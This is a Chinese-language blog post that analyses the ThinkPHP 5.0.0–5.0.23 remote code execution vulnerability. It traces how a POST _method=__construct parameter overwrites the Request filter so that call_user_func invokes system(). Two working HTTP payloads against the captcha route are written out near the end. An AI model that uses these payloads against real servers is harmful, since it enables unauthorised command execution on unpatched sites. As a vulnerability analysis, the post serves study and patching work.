[框架漏洞]ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

9 篇文章 2 订阅

ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

首先借用师傅的一张图来梳理一下流程

在这里插入图片描述

call_user_func调用system造成rce

梳理思路:

$this->method可控导致可以调用__contruct()覆盖Request类的filter字段,然后App::run()执行判断debug来决定是否执行$request->param(),并且还有$dispatch['type'] 等于controller或者 method 时会执行$request->param(),而$request->param()会进入到input()方法,在这个方法中将被覆盖的filter回调call_user_func(),造成rce

POC1

在tp当中程序的开始是从App.php开始的,在run方法当中,首先是经过$dispatch = self::routeCheck($request, $config)检查调用的路由,而在这个方法当中存在调用了Route::check

在这里插入图片描述

在这个方法当中,又存在了$method = strtolower($request->method());

在这里插入图片描述

调用method方法他会因此进入Request.php

public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }

$method默认为False进入分支条件

$this->method = strtoupper($_POST[Config::get('var_method')]);这句话比较危险,在这个类中var_method对应了_method,因此我们只要post的方式传入这个参数,即可进入分支条件$this->{$this->method}($_POST);从而通过这句话执行类的任意函数,看看我们传入的参数_method=__construct&filter[]=system&method=get&get[]=whoami因此他会调用__construct,里面的foreach循环导致变量的覆盖

protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }

        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }

实现了变量覆盖,在method方法结束后,返回的$this->method值应为get这样才能不出错,所以payload中有个method=get

在这里插入图片描述

继续跟踪关键语句

在这里插入图片描述

进入exec方法,由于captcha路由的能使$dispatch=method从而进入Request::instance()->param()

在这里插入图片描述

在这里插入图片描述

如上方法中$this->param通过array_merge将当前请求参数和URL地址中的参数合并。

我们跟进get方法

在这里插入图片描述

,由于前面变量覆盖导致get是有值的

get = {array} [0]
        0 = whoami

它因此会调用input方法,也因此返回了get数组的值

在这里插入图片描述

之后$this->param通过array_merge值变成如下

在这里插入图片描述

之后再次进入input方法

在这里插入图片描述

进入

在这里插入图片描述

发现是获取filter参数的方法,由于之前的变量覆盖

在这里插入图片描述

filter =  {array} [0]
        0 = system

通过array_walk_recursive为数组中的元素调用filterValue方法

在这里插入图片描述

之后游戏结束,hhh挺有意思的

在这里插入图片描述

给出payload

http://xxxxxx.xxx/public/?s=captcha

Body
_method=__construct&filter[]=system&method=get&get[]=whoami

POC 2

我们发现一个有趣的地方

在这里插入图片描述

再跟进,进入了server方法

在这里插入图片描述

重点来了,这里面居然也有input方法,hhh

在这里插入图片描述

因此利用前面的__construct,可以通过传入server[REQUEST_METHOD]=dir,使得在经过foreach循环时置$data值为dir,此后调用getFilter,同样实现RCE:

给出payload

http://xxxxxx.xxx/public/?s=captcha


_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值